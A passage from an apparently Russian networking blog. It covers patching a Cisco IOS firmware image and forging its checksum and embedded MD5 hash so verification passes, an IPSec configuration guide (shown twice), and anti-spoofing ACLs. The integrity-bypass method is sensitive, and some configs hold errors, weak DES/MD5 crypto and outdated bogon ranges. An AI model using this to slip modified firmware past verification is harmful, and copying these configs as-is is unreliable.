#define EM_PPC 20 /* PowerPC */
Скорее всего, это есть простейшая защита от дизассемблирования образа, однако нам это не сильно помешает. С помощью F6 открываем режим просмотра elf/header. Из него нам становятся известны следующие подробности:
- elf header size 0x34
- program header entry size 0x20
- program header count 1
- section header entry size 0x28
- section header count 6
Что в сумме нам дает размер 52+32+6*40=324 или 0x144.
То есть в файле всего 6 секций (соответственно 6 заголовков секций) и 1 заголовок программы. Вероятнее всего одна из секций предназначена для хранения архива с исполняемым образом IOS. Эту секцию можно вычислить либо по размеру (логично, что ее размер должен быть максимальным), либо по типу секции. Заголовок таблицы секций можно просмотреть, нажав F6 и выбрав elf/section headers, но для начала обратимся к описанию секции:
typedef struct {
Elf32_Word sh_name;
Elf32_Word sh_type;
Elf32_Word sh_flags;
Elf32_Addr sh_addr;
Elf32_Off sh_offset;
Elf32_Word sh_size;
Elf32_Word sh_link;
Elf32_Word sh_info;
Elf32_Word sh_addralign;
Elf32_Word sh_entsize;
} Elf32_Shdr;
Поле sh_type и будет отвечать за искомый тип. К сожалению здесь меня ждал облом, большинство из секций имело тип SHT_PROGBITS, предназначенный для секций, значение которых определяется самой программой. Однако 4-я секция, имела тип отличный от предыдущих и имела значение 0x00000007, секция предназначена для каких-либо программных заметок. Первая (нулевая) секция также имеет отличный от предыдущих тип (SHT_NULL), исходя из этого становится ясно что она пустая и ни с чем не ассоциирована. В итоге приходится искать секцию с максимальным размером (поле sh_size), ее оказывается секция за номером пять, ее размер 0x1070e7c или 17239676 байт. Вернемся к hex-виду (F6 - hex) и перейдем по смещению (поле sh_offset) с помощью кнопки F5:
И что же мы здесь видим? Где же наш архив, который должен начинаться с сигнатуры PK, а точнее если следовать спецификации PKZIP-формата (http://www.pkware.com/documents/casestudies/APPNOTE.TXT) 0x04034b50 в обратном порядке? Как не странно эта сигнатура обнаруживается на 22 байта позже. Однако, если хорошо присмотреться, то отказывается, что сразу за значением 0xFEEDFACE идет размер распакованного образа 0x02AED904. Если внимательно поискать в Сети, то можно наткнуться на информацию из книги Cisco Networks Hacking Exposed издательства McGraw-Hill/Osborne. Наши русские парни Andrew A. Vladimirov, Konstantin V. Gavrilenko, Janis N. Vizulis and Andrei A. Mikhailovsky еще в 2006 году занимались разработкой бинарного патчинга IOS 12.3(6). Им удалось выяснить что после магического значения 0xFEEDFACE идут последовательно uncompressed image size, compressed image size, compressed image checksum, uncompressed image checksum. Помимо этого, им стало известно, что алгоритм вычисления контрольной суммы представляет собой модифицированный алгоритм контрольной суммы в Интернет, однако нам, к счастью, не придется их вычислять — как проверено позже на практике,маршрутизатор сам скажет нам какое значение должно иметь это поле, если конечно подсчитанная контрольная сумма и записанная в соответствующем поле не совпадут:
Error : compressed image checksum is incorrect 0xB99D8823
Expected a checksum of 0xF6F69877
*** System received a Software forced crash ***
signal= 0x17, code= 0x5, context= 0x800805f0
PC = 0x0, Vector = 0x0, SP = 0x0
Итак, перейдем к активным действиям. Для начала вырезаем из файла старую 4ю секцию, содержащую zip архив за исключением 20 байт, начиная с магического значения 0xFEEDFACE до сигнатуры zip не включая, то есть со смещения 0x44F8 по смещение 0x1075360 + 0x44F8. Затем по смещению 0x44F8 вставляем новый архив.
Соединим всю известную нам информацию воедино. Размер старой секции (№5), содержащей архив с образом IOS, загружаемым в память 0x1070e7c или 17239676 (включая 20 байт с 0xFEEDFACE по 0x504B0304 не включая). Размер новой секции, содержащей архив 0xFB9D38 или 16489784 (опять же включая те 20 байт). Разница между старым и новым значением составит 0xB7158 — 749912. То есть смещение 4й секции, физически расположенной в файле после 5й секции, требуется изменить с 0x1075360 на 0xFBE208.
Старые значения после магической записи 0xFEEDFACE:
unpacked image size: 0x02AED904 45013252
packed image size: 0x01070E66 17239654 (разница с размером 5й секции - на 22 байта меньше)
packed image checksum: 0xB58BE139
unpacked image checksum: 0xA29D4F6E
затем идет сигнатура: 0x504B0304
Новые значения после магической записи 0xFEEDFACE:
unpacked image size: 0x02AED904 (остался тот же)
packed image size: 0x00FB9D22 16489762 (разница с размером 5й секции - на 22 байта меньше)
packed image checksum: нам неизвестна, можно заменить на что-нибудь приметное, типа 0x48000000
unpacked image checksum: 0xA29D4F6E (остался тот же)
Новую контрольную сумму, как я уже говорил, сообщит сам маршрутизатор.
После всех манипуляций конечный образ был получен, однако размер его меня не впечатлил. К сожалению, по сравнению с изначальным размером 16,4 MB (17257364 bytes) я получил всего лишь 15,7 MB (16507472 bytes), то есть разница, которую я уже посчитал выше, составила 749912 байт. Конечно, это позволит загрузить образ на flash, но скорее всего придется применять опцию /no-squeeze-reserve-space. Однако, когда при копировании маршрутизатор запросит повторное стирание flash, подтверждать действие не нужно:
router#erase /no-squeeze-reserve-space flash:
Erasing the flash filesystem will remove all files! Continue? [confirm]
Erasing device... eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee eeeeeeeeeeeeee ...erased
Erase of flash: complete
router#copy tftp://172.22.1.17/c2600-entbasek9-mz.124-9.T1-shad-pk.bin flash:
Destination filename [c2600-entbasek9-mz.124-9.T1-shad-pk.bin]?
Accessing tftp://172.22.1.17/c2600-entbasek9-mz.124-9.T1-shad-pk.bin...
Erase flash: before copying? [confirm]n
Loading c2600-entbasek9-mz.124-9.T1-shad-pk.bin from 172.22.1.17 (via Ethernet0/0): !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!![OK - 16507472 bytes]
Verifying checksum... CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC OK (0xE6ED)
16507472 bytes copied in 178.188 secs (92641 bytes/sec)
router#reload
Proceed with reload? [confirm]
Естественно, такая ситуация была бы только в том случае, если образ был бы сформирован правильно. Поэтому я не стал спешить, и для загрузки образа защел в режим rommon по Ctrl+Break, затем со своего компьютера загрузил образ по tftp напрямую в RAM:
rommon 1>tftpdnld -r
После загрузки маршрутизатор сказал:
TFTP flash copy: Error, image size (16507470) mismatches netsize (16507472).
Оказалось, что при редактировании размера 5й секции я ошибся на 2 байта (те самые 20 байт с 0xFEEDFACE + 2).
После второй попытки загрузки выяснилось, что контрольная сумма запакованного образа — 0xB0257B0D:
Error : compressed image checksum is incorrect 0xB99D8823
Expected a checksum of 0x48000000
*** System received a Software forced crash ***
signal= 0x17, code= 0x5, context= 0x800805f0
PC = 0x0, Vector = 0x0, SP = 0x0
Корректируем соответствующее поле после 0xFEEDFACE (Загружаем файл в HT по F3, переходим по смещению с помощью F5 и редактируем по F4, не забывая сохраняться по F2), затем снова грузимся.
rommon 4>reset -s
Дальше соответственно все ок, однако затем IOS вываливается, и отказывается работать по причине недостатка памяти:
System Bootstrap, Version 11.3(2)XA4, RELEASE SOFTWARE (fc1)
Copyright (c) 1999 by cisco Systems, Inc.
TAC:Home:SW:IOS:Specials for info
PC = 0xfff0a530, Vector = 0x500, SP = 0x680127c8
PC = 0xfff0a530, Vector = 0x500, SP = 0x680127b0
C2600 platform with 65536 Kbytes of main memory
PC = 0xfff0a530, Vector = 0x500, SP = 0x80004684
monitor: command "boot" aborted due to user interrupt
rommon 1 > tftpdnld -r
IP_ADDRESS: 172.22.1.199
IP_SUBNET_MASK: 255.255.255.0
DEFAULT_GATEWAY: 172.22.1.1
TFTP_SERVER: 172.22.1.17
TFTP_FILE: c2600-entbasek9-mz.124-9.T1-shad-pk.bin
Receiving c2600-entbasek9-mz.124-9.T1-shad-pk.bin from 172.22.1.17 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!
File reception completed.
program load complete, entry point: 0x80008000, size: 0xfbe0d8
Self decompressing the image : ################################################## ################################################## ################################################## ## [OK]
Smart Init is enabled
smart init is sizing iomem
ID MEMORY_REQ TYPE
000092 0X000B3280 C2600 Dual Ethernet
0X00098670 public buffer pools
0X00211000 public particle pools
TOTAL: 0X0035C8F0
If any of the above Memory Requirements are
"UNKNOWN", you may be using an unsupported
configuration or there is a software problem and
system operation may be compromised.
Rounded IOMEM up to: 3Mb.
Using 5 percent iomem. [3Mb/64Mb]
Cisco IOS Software, C2600 Software (C2600-ENTBASEK9-M), Version 12.4(9)T1, RELEASE SOFTWARE (fc2)
Technical Support: http://www.cisco.com/techsupport
Copyright (c) 1986-2006 by Cisco Systems, Inc.
Compiled Wed 30-Aug-06 15:43 by prod_rel_team
Image text-base: 0x800080E4, data-base: 0x81B46C00
SYSTEM INIT: INSUFFICIENT MEMORY TO BOOT THE IMAGE!
%Software-forced reload
00:00:16 UTC Fri Mar 1 2002: Unexpected exception to CPUvector 700, PC = 0x8069DE48, LR = 0x8069DD88
-Traceback= 0x8069DE48 0x8069DD88 0x80014B10 0x81B3BAA4 0x8170812C 0x817082A4 0x816E3D68 0x816E3DF4 0x816E3ED4 0x816E3E38 0x816E3ED4 0x816E3E38 0x816E3ED4 0x816E4A1C 0x8171AB4C 0x81729008
CPU Register Context:
MSR = 0x00029032 CR = 0x33000095 CTR = 0x806A2518 XER = 0x8000FE00
R0 = 0x00000000 R1 = 0x82EDD858 R2 = 0x82AF0000 R3 = 0x00000003
R4 = 0xFFFFFFFE R5 = 0x00000000 R6 = 0x00000003 R7 = 0x00009032
R8 = 0x82AF0000 R9 = 0x82820000 R10 = 0x82BBCC50 R11 = 0x00000000
R12 = 0x00004117 R13 = 0xFFF48A24 R14 = 0x80A82090 R15 = 0x00000000
R16 = 0x00000000 R17 = 0x00000000 R18 = 0x00000000 R19 = 0x00000000
R20 = 0x00000000 R21 = 0x00000000 R22 = 0x81B47998 R23 = 0x00000000
R24 = 0x81B47A48 R25 = 0x81708128 R26 = 0x81708128 R27 = 0x00002814
R28 = 0x00000000 R29 = 0x82C8F368 R30 = 0x00000000 R31 = 0x82AF0000
Writing crashinfo to flash:crashinfo_20020301-000016
Однако, здесь я не расстроился, и решил взяться за другой образ — c2600-advsecurityk9-mz.124-21.bin. После аналогичных манипуляций с байтами, даже при использовании 128 битного слова в 7zip, размер составил 15947076 (против изначального размера 16635336), что позволило загрузить его во flash. Помимо прочего, этот образ уже не ругался на недостаток памяти RAM и прекрасно чувствовал себя на этой платформе:
router#show version
Cisco IOS Software, C2600 Software (C2600-ADVSECURITYK9-M), Version 12.4(21), RELEASE SOFTWARE (fc1)
router#show memory summary
Head Total(b) Used(b) Free(b) Lowest(b) Largest(b)
Processor 82A44240 20244772 8718640 11526132 10171028 10098348
I/O 3CA3400 3525632 1650536 1875096 1875096 1875068
router#show flash:
System flash directory:
File Length Name/status
1 15947076 c2600-advsecurityk9-mz.124-21-shad-pk.bin
[15947140 bytes used, 830072 available, 16777212 total]
16384K bytes of processor board System flash (Read/Write)
Однако, у нас остается еще одна небольшая проблема. Если запустить проверку:
router#verify flash:c2600-advsecurityk9-mz.124-21-shad-pk.bin
Маршрутизатор обругает нас, сообщив, что Embedded hash и Calculated hash не совпадают. Исправить это очень просто — 16 байт контрольной суммы находится в самом конце бинарного файла образа. Обнаружить это можно даже с помощью простого поиска:
После исправления маршрутизатор сообщает, что контрольная сумма успешно подсчитана и совпадает:
Embedded Hash MD5 : 3DD2C6591FF4F033425147DE4540F9CD
Computed Hash MD5 : 3DD2C6591FF4F033425147DE4540F9CD
CCO Hash MD5 : 79020945BDFE2A354E012C8303136360
Embedded hash verification successful.
File system hash verification successful.
Вот и все, новый образ готов и правильно сформирован. На этом мои изыскания успешно заканчиваются, а все вопросы, пожелания и в особенности идеи, мой дорогой читатель, я готов получить по электронной почте. С радостью отвечу на них и помогу по мере сил. Удачи в бинарном патчинге и не только.
четверг, 19 февраля 2009 г.
Статья в MikroTik Wiki об IPSec
MikroTik router to CISCO PIX Firewall IPSEC
Contents1 How to interconnect two networks with IPSec between Mikrotik ROS and Cisco PIX |
How to interconnect two networks with IPSec between Mikrotik ROS and Cisco PIX
This example shows how to interconnect remote offices uses IPSec VPN between Mikrotik RouterOS device and Cisco PIX Firewall or Cisco Router, running Cisco IOS. Also I show you how to provide Internet access for network using masquerade/PAT on Mikrotik RouterOS, Cisco PIX Firewall and Cisco Router, running Cisco IOS. Network topology is shown below. We would like to interconnect networks 172.22.1.1/24 and 172.22.2.1/24 using corresponding public addresses 1.0.0.2 and 2.0.0.2. Assume 1.0.0.1 is default gateway for router, running Mikrotik RouterOS and 2.0.0.1 is default gateway for router running Cisco IOS or Cisco PIX Firewall, running Cisco PIX OS. This configuration tested and works well with Mikrotik RouterOS 3.20, Cisco IOS 12.4(21) and 12.3(26) advanced security features set with encryption and PIX OS 6.3(5).
Configuration of router running Mikrotik RouterOS
This configuration is simple and very similar to official 3.0 ipsec manual page
Mikrotik Router
Add addresses on interfaces
[admin@Mikrotik] > ip address add \
address=1.0.0.2/30 broadcast=1.0.0.3 disabled=no \
interface=public network=1.0.0.0
[admin@Mikrotik] > ip address add \
address=172.22.1.1/24 broadcast=172.22.1.255 disabled=no \
interface=inside network=172.22.1.0
Add ip routes
[admin@Mikrotik] > ip route add \
disabled=no distance=1 dst-address=0.0.0.0/0 gateway=1.0.0.1 \
scope=30 target-scope=10
Add accept and masquerading rules in SRC-NAT
[admin@Mikrotik] > ip firewall nat add \
chain=srcnat \
src-address=172.22.1.0/24 \
dst-address=172.22.2.0/24 action=accept
[admin@Mikrotik] > ip firewall nat add \
chain=srcnat out-interface=public action=masquerade
Add peer (with phase1 configuration parameters), DES and SHA1 will be used to protect IKE traffic for MikroTik router
[admin@MikroTik] > ip ipsec peer add \
address=2.0.0.2 secret="gvejimezyfopmekun" enc-algorithm=des
Set encryption proposal (phase2 proposal - settings that will be used to encrypt actual data) to use DES to encrypt data for MikroTik router
[admin@MikroTik] > ip ipsec proposal set default enc-algorithms=des
Add policy rule that matches traffic between subnets and requires encryption with ESP in tunnel mode for MikroTik router
[admin@MikroTik] > ip ipsec policy add \
src-address=172.22.2.0/24 \
dst-address=172.22.1.0/24 \
action=encrypt \
tunnel=yes sa-src=1.0.0.2 sa-dst=2.0.0.2
Add firewall rules to permit VPN traffic and private traffic
[admin@Mikrotik] >ip firewall add \
action=accept chain=input disabled=no protocol=ipsec-esp src-address=2.0.0.2
[admin@Mikrotik] >ip firewall add \
action=accept chain=customer disabled=no dst-address=172.22.1.0/24 \
in-interface=public out-interface=inside src-address=172.22.2.0/24
Cisco PIX Firewall configuration
I think this configuration is quiet clear because of detailed comments.
Cisco PIX Firewall
PIX Version 6.3(5)
nameif ethernet0 outside security0
nameif ethernet1 inside security100
!
!--- Create access list that matches traffic that should be encrypted (traffic to RouterOS device)
access-list myacl permit ip 172.22.2.0 255.255.255.0 172.22.2.0 255.255.255.0
!
!--- Create access list that matches traffic that should not be NATed (traffic to RouterOS device)
access-list nonat permit ip 172.22.2.0 255.255.255.0 172.22.1.0 255.255.255.0
!
!--- Configuring NAT
ip address outside 2.0.0.2 255.255.255.252
ip address inside 172.22.2.1 255.255.255.0
!
global (outside) 1 2.0.0.2
!
!--- Do not make NAT for traffic to RouterOS device
nat (inside) 0 access-list nonat
nat (inside) 1 172.22.2.0 255.255.255.0 0 0
!
route outside 0.0.0.0 0.0.0.0 2.0.0.1 1
!
sysopt connection permit-ipsec
!
!--- Create IPsec transform set - transformations that should be applied to
!--- traffic - ESP encryption with DES and ESP authentication with SHA1
!--- This must match "/ip ipsec proposal"
crypto ipsec transform-set myset esp-des esp-sha-hmac
crypto ipsec security-association lifetime seconds 1800
!
!--- Create crypto map that will use transform set "myset", use peer 1.0.0.2
!--- to establish SAs and encapsulate traffic and use access-list myacl to
!--- match traffic that should be encrypted
crypto map mymap 21 ipsec-isakmp
crypto map mymap 21 match address myacl
crypto map mymap 21 set peer 1.0.0.2
crypto map mymap 21 set transform-set myset
crypto map mymap interface outside
!
!--- Configure ISAKMP policy (phase1 config, must match configuration
!--- of "/ip ipsec peer" on RouterOS).
isakmp enable outside
!--- Add preshared key to be used when talking to RouterOS
isakmp key gvejimezyfopmekun address 1.0.0.2 netmask 255.255.255.255
isakmp identity address
isakmp policy 20 authentication pre-share
isakmp policy 20 encryption des
isakmp policy 20 hash md5
isakmp policy 20 group 2
: end
Corresponding Cisco Router configuration
This configuration is just for example. You can use Cisco router instead Cisco PIX Firewall.
Cisco Router
!--- Configure ISAKMP policy (phase1 config, must match configuration
!--- of "/ip ipsec peer" on RouterOS). Note that DES is default
!--- encryption algorithm on Cisco. SHA1 is default authentication
!--- algorithm
crypto isakmp policy 20
authentication pre-share
hash md5
exit
!
!--- Add preshared key to be used when talking to RouterOS
crypto isakmp key gvejimezyfopmekun address 1.0.0.2
!
! Create IPsec transform set - transformations that should be applied to
! traffic - ESP encryption with DES and ESP authentication with SHA1
! This must match "/ip ipsec proposal"
crypto ipsec transform-set myset esp-des esp-sha-hmac
mode tunnel
exit
!
!
!--- Create crypto map that will use transform set "myset", use peer 1.0.0.2
!--- to establish SAs and encapsulate traffic and use access-list 101 to
!--- match traffic that should be encrypted
crypto map mymap 21 ipsec-isakmp
set peer 1.0.0.2
set transform-set myset
set pfs group2
match address 101
exit
!
!
!--- And finally apply crypto map to outside interface
interface Ethernet0
ip address 2.0.0.2 255.255.255.252
no ip directed-broadcast
ip nat outside
crypto map mymap
!
interface Ethernet1
ip address 172.22.2.1 255.255.255.0
no ip directed-broadcast
ip nat inside
!
!
!--- Create NAT pool
ip nat pool mypool 2.0.0.2 2.0.0.2 netmask 255.255.255.252
!
!--- Do not make NAT for traffic to RouterOS device
ip nat inside source route-map nonat pool mypool overload
ip classless
ip route 0.0.0.0 0.0.0.0 2.0.0.1
!
!--- Create access list that matches traffic that should be encrypted (traffic to RouterOS device)
access-list 101 permit ip 172.22.2.0 0.0.0.255 172.22.1.0 0.0.0.255
!
!--- Create access list that matches traffic that should not be NATed (traffic to RouterOS device):
access-list 102 deny ip 172.22.2.0 0.0.0.255 172.22.1.0 0.0.0.255
access-list 102 permit ip 172.22.2.0 0.0.0.255 any
!
!--- Create route-map for traffic that should be NATed
route-map nonat permit 10
match ip address 102
!
end
понедельник, 9 февраля 2009 г.
Статья про IPSec в MikroTik Wiki от меня
Вчера написал статью для Wiki от производителя нашего оборудования Mikrotik. Скорее всего будет интересна не только для пользователей их ОС RouterOS, но и для тех, кто имеет в своём арсенале PIX Firewall или маршрутизатор Cisco и желает объеденить несколько офисов в одну сеть. Собственно, статья:
MikroTik router to CISCO PIX Firewall IPSEC
How to interconnect two networks with IPSec between Mikrotik ROS and Cisco PIX
This example shows how to interconnect remote offices uses IPSec VPN between Mikrotik RouterOS device and Cisco PIX Firewall or Cisco Router, running Cisco IOS. Also I show you how to provide Internet access for network using masquerade/PAT on Mikrotik RouterOS, Cisco PIX Firewall and Cisco Router, running Cisco IOS. Network topology is shown below. We would like to interconnect networks 172.22.1.1/24 and 172.22.2.1/24 using corresponding public addresses 1.0.0.2 and 2.0.0.2. Assume 1.0.0.1 is default gateway for router, running Mikrotik RouterOS and 2.0.0.1 is default gateway for router running Cisco IOS or Cisco PIX Firewall, running Cisco PIX OS. This configuration tested and works well with Mikrotik RouterOS 3.20, Cisco IOS 12.4(21) and 12.3(26) advanced security features set with encryption and PIX OS 6.3(5).
Mikrotik Router
Add addresses on interfaces
Add accept and masquerading rules in SRC-NAT
Cisco PIX Firewall
Cisco Router
Configuration of router running Mikrotik RouterOS
This configuration is simple and very similar to official 3.0 ipsec manual pageMikrotik Router
Add addresses on interfaces
[admin@Mikrotik] > ip address add address=1.0.0.2/30 broadcast=1.0.0.3 comment="" disabled=no interface=\ public network=1.0.0.0 [admin@Mikrotik] > ip address add address=172.22.1.1/24 broadcast=172.22.1.255 comment="" disabled=no \ interface=inside network=172.22.1.0Add ip routes
[admin@Mikrotik] > ip route add comment="" disabled=no distance=1 dst-address=0.0.0.0/0 gateway=1.0.0.1 \ scope=30 target-scope=10
Add accept and masquerading rules in SRC-NAT
[admin@Mikrotik] > ip firewall nat add chain=srcnat src-address=172.22.1.0/24 \ \... dst-address=172.22.2.0/24 action=accept [admin@Mikrotik] > ip firewall nat add chain=srcnat out-interface=public \ \... action=masqueradeAdd peer (with phase1 configuration parameters), DES and SHA1 will be used to protect IKE traffic for MikroTik router
[admin@MikroTik] > ip ipsec peer add address=2.0.0.2 \ \... secret="gvejimezyfopmekun" enc-algorithm=desSet encryption proposal (phase2 proposal - settings that will be used to encrypt actual data) to use DES to encrypt data for MikroTik router
[admin@MikroTik] > ip ipsec proposal set default enc-algorithms=desAdd policy rule that matches traffic between subnets and requires encryption with ESP in tunnel mode for MikroTik router
[admin@MikroTik] > ip ipsec policy add \ \... src-address=172.22.1.0/24 dst-address=172.22.2.0/24 action=encrypt \ \... tunnel=yes sa-src=1.0.0.2 sa-dst=2.0.0.2
Cisco PIX Firewall configuration
I think this configuration is quiet clear because of detailed comments.Cisco PIX Firewall
PIX Version 6.3(5) nameif ethernet0 outside security0 nameif ethernet1 inside security100 ! !--- Create access list that matches traffic that should be encrypted (traffic to RouterOS device) access-list myacl permit ip 172.22.2.0 255.255.255.0 172.22.2.0 255.255.255.0 ! !--- Create access list that matches traffic that should not be NATed (traffic to RouterOS device) access-list nonat permit ip 172.22.2.0 255.255.255.0 172.22.1.0 255.255.255.0 ! !--- Configuring NAT ip address outside 2.0.0.2 255.255.255.252 ip address inside 172.22.2.1 255.255.255.0 ! global (outside) 1 2.0.0.2 ! !--- Do not make NAT for traffic to RouterOS device nat (inside) 0 access-list nonat nat (inside) 1 172.22.2.0 255.255.255.0 0 0 ! route outside 0.0.0.0 0.0.0.0 2.0.0.1 1 ! sysopt connection permit-ipsec ! !--- Create IPsec transform set - transformations that should be applied to !--- traffic - ESP encryption with DES and ESP authentication with SHA1 !--- This must match "/ip ipsec proposal" crypto ipsec transform-set myset esp-des esp-sha-hmac crypto ipsec security-association lifetime seconds 1800 ! !--- Create crypto map that will use transform set "myset", use peer 1.0.0.2 !--- to establish SAs and encapsulate traffic and use access-list myacl to !--- match traffic that should be encrypted crypto map mymap 21 ipsec-isakmp crypto map mymap 21 match address myacl crypto map mymap 21 set peer 1.0.0.2 crypto map mymap 21 set transform-set myset crypto map mymap interface outside ! !--- Configure ISAKMP policy (phase1 config, must match configuration !--- of "/ip ipsec peer" on RouterOS). isakmp enable outside !--- Add preshared key to be used when talking to RouterOS isakmp key gvejimezyfopmekun address 1.0.0.2 netmask 255.255.255.255 isakmp identity address isakmp policy 20 authentication pre-share isakmp policy 20 encryption des isakmp policy 20 hash md5 isakmp policy 20 group 2 : end
Corresponding Cisco Router configuration
This configuration is just for example. You can use Cisco router instead Cisco PIX Firewall.Cisco Router
!--- Configure ISAKMP policy (phase1 config, must match configuration !--- of "/ip ipsec peer" on RouterOS). Note that DES is default !--- encryption algorithm on Cisco. SHA1 is default authentication !--- algorithm crypto isakmp policy 20 authentication pre-share hash md5 exit ! !--- Add preshared key to be used when talking to RouterOS crypto isakmp key gvejimezyfopmekun address 1.0.0.2 ! ! Create IPsec transform set - transformations that should be applied to ! traffic - ESP encryption with DES and ESP authentication with SHA1 ! This must match "/ip ipsec proposal" crypto ipsec transform-set myset esp-des esp-sha-hmac mode tunnel exit ! ! !--- Create crypto map that will use transform set "myset", use peer 1.0.0.2 !--- to establish SAs and encapsulate traffic and use access-list 101 to !--- match traffic that should be encrypted crypto map mymap 21 ipsec-isakmp set peer 1.0.0.2 set transform-set myset set pfs group2 match address 101 exit ! ! !--- And finally apply crypto map to outside interface interface Ethernet0 ip address 2.0.0.2 255.255.255.252 no ip directed-broadcast ip nat outside crypto map mymap ! interface Ethernet1 ip address 172.22.2.1 255.255.255.0 no ip directed-broadcast ip nat inside ! ! !--- Create NAT pool ip nat pool mypool 2.0.0.2 2.0.0.2 netmask 255.255.255.252 ! !--- Do not make NAT for traffic to RouterOS device ip nat inside source route-map nonat pool mypool overload ip classless ip route 0.0.0.0 0.0.0.0 2.0.0.1 ! !--- Create access list that matches traffic that should be encrypted (traffic to RouterOS device) access-list 101 permit ip 172.22.2.0 0.0.0.255 172.22.1.0 0.0.0.255 ! !--- Create access list that matches traffic that should not be NATed (traffic to RouterOS device): access-list 102 deny ip 172.22.2.0 0.0.0.255 172.22.1.0 0.0.0.255 access-list 102 permit ip 172.22.2.0 0.0.0.255 any ! !--- Create route-map for traffic that should be NATed route-map nonat permit 10 match ip address 102 ! end
Настраиваем неприступный маршрутизатор. Часть 2
Статья была опубликована в журнале IT-Спец за апрель 2008 г.
В прошлой части статьи мы начали настраивать безопасность маршрутизатора с ограничения доступа непосредственно к самому устройству, отключили лишние службы, настроили безопасность SNMP и включили журналирования. Остановились мы на аспекте безопасного межсетевого взаимодействия, которое, подчас, является не менее важным чем безопасность самого маршрутизатора.
1.Защита от подмены ip-адресов или антиспуфинг
Подмена ip-адресов - это настоящий бич интернета, основанного на потоколе ip версии 4. Проблема состоит в том, что чаще всего большинство маршрутизаторов настроены на перенаправление пакетов исходя только из данных в поле адреса назначения заголовка ip. Конечно, проблема заключается не в самом механизме маршрутизации, а в том, что в большинстве сетей абсолютно любой корректно сформированный пакет будет совершенно свободно перенаправлен, если маршрутизатор будет иметь маршрут к адресу назначения, даже если в поле адреса источника заголовка ip будет указан нелегитимный адрес. Подобный нелегитимный (фейк) адрес в условиях нормально функционирования сети обычно не может быть указан в качестве источника пакета и чаще всего причиной его появления может стать лишь то, что кто-то, а точнее что-то не желает показать, откуда в действительности пришел пакет. Проще говоря, причиной появления в сети подобных пакетов чаще всего является вредоносное программное обеспечение, будь то черви, вирусы, спам- или DDoS-боты. Конечно, скрыть их деятельность очень сложно и любой мало-мальски опытный сетевой администратор при желании достаточно быстро обнаружит их сетевую активность. Возьмем, к примеру, процесс рассылки спама. Пусть в данном примере схема сети в точности соответствует рисунку. Чаще всего такой нехорошей затеей, т.е. спамом, будут заниматься управляемые боты, особый класс вредоносного программного обеспечения типа троянов-бекдоров, централизованно управляемых с мастер-сервера. Спам-бот, получив команду от хозяина через мастер-сервер в большом количестве рассылает корреспонденцию, открывая множество tcp-соединений на 25-е порты (SMTP) различных серверов. При этом в кеше маршрутизатора сетевой администратор наблюдает записи подобные этим:
#show ip cash flow
E0/0 86.35.180.4 E0/1 72.80.182.193 06 0C17 0019 7
E0/0 92.83.36.64 E0/1 78.37.213.158 06 E774 0019 2
E0/0 85.140.144.55 E0/1 78.37.213.158 06 CB6A 0019 7
E0/0 88.231.190.7 E0/1 69.13.131.2 06 C211 0019 2
E0/0 83.143.38.195 E0/1 67.18.144.162 06 0C37 0019 2
E0/0 62.66.167.235 E0/1 44.98.128.241 06 714F 0019 6
здесь 0019 - 25-й порт в шестнадцатеричном представлении. Администратор видит, что с интерфейса E0/1, который является в нашем примере внутренним, в большом количестве поступают пакеты, направленные к адресам в интернете, а порт назначения принадлежит протоколу SMTP. Однако, адрес источника никак не мог оказаться таким, ведь внутрення подсеть 121.132.143.0/24! Что же случилось? Мы столкнулись с простейшим примером подмены адреса источника или, проще говоря, спуфинга. Что же делать? Вариантов защиты несколько. Первый из них - ограничить исходящие пакеты на основе ip-адреса источника, исходя из принадлежности адресов к нашей сети:
#conf t
(config)#ip access-list standart 20
(config-std-nacl)#permit 121.132.143.0 0.0.0.255
(config-std-nacl)#deny any
(config-std-nacl)#exit
(config)#interface E0/1
(config-if)#ip access-group 20 in
Таким образом мы ограничим исходящий трафик из нашей сети с адресов, которые фактически нам не принадлежат. Такая концепция как минимум облегчит жизнь таким же как мы сетевым администраторам в деле борьбы с подменой ip-адресов. Теперь перейдем к внешнему интерфейсу. Согласно нашему примеру это интерфейс E0/0. Ограничим входящий трафик с адресов, которые фактически не могут быть источниками для пакетов, приходящих из интернета. Естественно, из внешней сети к нам не могут прийти пакеты, источник которых - наша внутренняя сеть, ограничим их:
#conf t
(config)#ip access-list standart 30
(config-std-nacl)#deny ip 121.132.143.0 0.0.0.255
Затем ограничим адреса, которые согласно RFC 1918 являются «серыми», т.е. немаршрутизируемыми в интернете:
(config-std-nacl)#deny ip 10.0.0.0 0.255.255.255
(config-std-nacl)#deny ip 172.16.0.0 0.15.255.255
(config-std-nacl)#deny ip 192.168.0.0 0.0.255.255
Кроме того, можно заблокировать адреса, являющиеся адресами автоконфигурации. Такие адреса, например, присваиваются компьютерам под управлением операционной системы Windows, настройки сетевого подключения которого обеспечивают присвоение адресов по протоколу DHCP, если в данный момент присвоить адрес не удается (допустим, не доступен dhcp-сервер):
(config-std-nacl)#deny ip 169.254.0.0 0.0.255.255
Ограничим адреса multicast (класс D) и адреса, предназначенные для последующего использования (класс E):
(config-std-nacl)#deny ip 224.0.0.0 15.255.255.255
(config-std-nacl)#deny ip 240.0.0.0 7.255.255.255
Адреса, принадлежащие интерфейсу обратной петли (loopback) и адреса, первые октеты которых нули или все единицы также заблокируем, ибо путь их следования сомнителен:
(config-std-nacl)#deny ip 127.0.0.0 0.255.255.255
(config-std-nacl)#deny ip 0.0.0.0 0.255.255.255
(config-std-nacl)#deny ip host 255.255.255.255
Подсеть, предназначенную для тестирования заблокируем аналогично предыдущим:
(config-std-nacl)#deny ip 192.0.2.0 0.0.0.255
Ну и напоследок ограничим адреса, зарезервированные за организацией IANA и/или так называемые bogons-адреса:
(config-std-nacl)#deny ip 1.0.0.0 0.255.255.255
deny ip 2.0.0.0 0.255.255.255
deny ip 5.0.0.0 0.255.255.255
deny ip 14.0.0.0 0.255.255.255
deny ip 23.0.0.0 0.255.255.255
deny ip 27.0.0.0 0.255.255.255
deny ip 31.0.0.0 0.255.255.255
deny ip 36.0.0.0 0.255.255.255
deny ip 37.0.0.0 0.255.255.255
deny ip 39.0.0.0 0.255.255.255
deny ip 42.0.0.0 0.255.255.255
deny ip 46.0.0.0 0.255.255.255
deny ip 49.0.0.0 0.255.255.255
